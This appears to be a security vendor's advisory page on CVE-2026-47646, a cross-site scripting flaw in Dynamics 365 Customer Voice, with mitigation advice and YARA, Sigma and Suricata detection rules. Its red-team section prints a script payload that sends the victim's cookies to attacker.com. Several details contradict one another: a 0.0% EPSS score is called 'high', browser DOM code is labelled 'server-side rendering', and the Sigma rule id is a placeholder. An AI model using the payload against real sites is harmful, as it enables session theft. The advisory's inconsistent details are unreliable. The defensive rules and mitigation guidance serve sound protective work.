CVE-2026-47646
Executive Summary
CVE-2026-47646 is a critical cross-site scripting (XSS) vulnerability in Microsoft Dynamics 365 Customer Voice, a survey and feedback platform. The flaw allows an unauthenticated attacker to inject malicious scripts into web pages generated by the application, leading to spoofing attacks. With a CVSS score of 9.3, this vulnerability poses a severe risk to data integrity and confidentiality, as an attacker can impersonate legitimate users or services. No patch is currently available, and no public exploit code has been released, but the high EPSS score (0.0%) suggests low exploitation likelihood at this time. Organizations using Dynamics 365 Customer Voice should implement immediate mitigations, including input validation and web application firewall (WAF) rules.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to open-source packages (NPM, PyPI, Go, Ruby) but is a proprietary Microsoft product. However, organizations should review any custom integrations or third-party scripts embedded in Customer Voice surveys, as they could be leveraged for XSS attacks.
CVSS Breakdown & Threat Level
- CVSS Score: 9.3 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: Required (UI:R) – Victim must click a crafted link or view a malicious survey.
- Scope: Changed (S:C) – Impact extends beyond the vulnerable component.
- Confidentiality Impact: High (C:H) – Sensitive data can be exfiltrated.
- Integrity Impact: High (I:H) – Content can be modified or spoofed.
- Availability Impact: None (A:N) – No direct denial of service.
Threat Level: Critical. The vulnerability enables spoofing and data theft, potentially compromising user trust and organizational reputation.
Deep Dive & Mechanics
The vulnerability stems from improper neutralization of user-supplied input during web page generation (CWE-79). In Dynamics 365 Customer Voice, survey questions, responses, or custom fields are not sanitized before being rendered in the browser. An attacker can craft a malicious survey link or embed JavaScript in a survey field. When a victim views the survey, the script executes in the context of the Customer Voice domain, allowing the attacker to:
- Steal session cookies or authentication tokens.
- Redirect users to phishing pages.
- Modify survey content to display fake information.
- Perform actions on behalf of the victim (e.g., submit fraudulent responses).
The attack vector is network-based, requiring no authentication. The user interaction is minimal (e.g., clicking a link or opening a survey). The scope change indicates that the injected script can access other resources within the same origin, such as APIs or other Customer Voice data.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code pattern is typical of XSS flaws:
Vulnerable Code (Conceptual):
// Server-side rendering without sanitization
function renderSurvey(surveyData) {
let html = `<div>${surveyData.question}</div>`;
document.getElementById('survey').innerHTML = html;
}
Patched Code (Expected):
// Proper output encoding
function renderSurvey(surveyData) {
let sanitizedQuestion = DOMPurify.sanitize(surveyData.question);
let html = `<div>${sanitizedQuestion}</div>`;
document.getElementById('survey').innerHTML = html;
}
The fix would involve encoding HTML entities or using a Content Security Policy (CSP) to restrict script execution.
Exploitation & Lab Setup
Red Team (Attack Simulation)
- Craft Malicious Survey Link: Create a survey with a question containing a JavaScript payload, e.g.,
<script>alert('XSS')</script>. - Deliver Payload: Send the link via email or social engineering.
- Execute Attack: When the victim opens the survey, the script runs, stealing cookies or performing actions.
Example Payload:
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Lab Setup:
- Use a local instance of Dynamics 365 Customer Voice (trial version).
- Set up a webhook or listener (e.g., Burp Collaborator) to capture exfiltrated data.
- Test with a simple alert payload to confirm XSS.
Blue Team (Defense & Detection)
- Input Validation: Implement strict server-side validation of all survey fields.
- Output Encoding: Encode all user-generated content before rendering.
- Content Security Policy (CSP): Deploy a CSP header to block inline scripts.
- Web Application Firewall (WAF): Use rules to detect XSS patterns (e.g.,
<script>,onerror). - User Training: Educate users not to click suspicious survey links.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound connections to unknown domains from Customer Voice servers.
- HTTP requests containing
<script>tags in survey parameters.
- File IOCs:
- Modified survey templates with embedded JavaScript.
- Behavioral IOCs:
- Unexpected redirects or pop-ups when viewing surveys.
- Unusual cookie exfiltration attempts.
Detection Engineering
YARA Rule
rule CVE_2026_47646_XSS {
meta:
description = "Detects XSS payloads targeting Dynamics 365 Customer Voice"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-47646"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: CVE-2026-47646 XSS in Dynamics 365 Customer Voice
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS attempts in survey parameters
author: Valters IT
logsource:
category: web
product: iis
detection:
selection:
cs-uri-query|contains:
- '<script'
- 'onerror'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate survey content with HTML formatting
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-47646 XSS in Dynamics 365 Customer Voice"; flow:to_server,established; content:"<script"; nocase; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Actions:
- Disable custom HTML in survey fields if possible.
- Apply a strict Content Security Policy (CSP) to block inline scripts.
- Use a WAF with XSS detection rules (e.g., ModSecurity CRS).
- Long-term Fix:
- Monitor Microsoft for an official patch and apply it promptly.
- Implement input sanitization libraries (e.g., DOMPurify) in custom integrations.
- Compensating Controls:
- Enable multi-factor authentication (MFA) for Customer Voice accounts.
- Restrict survey access to authenticated users only.
- Log and audit all survey submissions for suspicious content.
Valters IT – Securing your digital landscape with precision and expertise.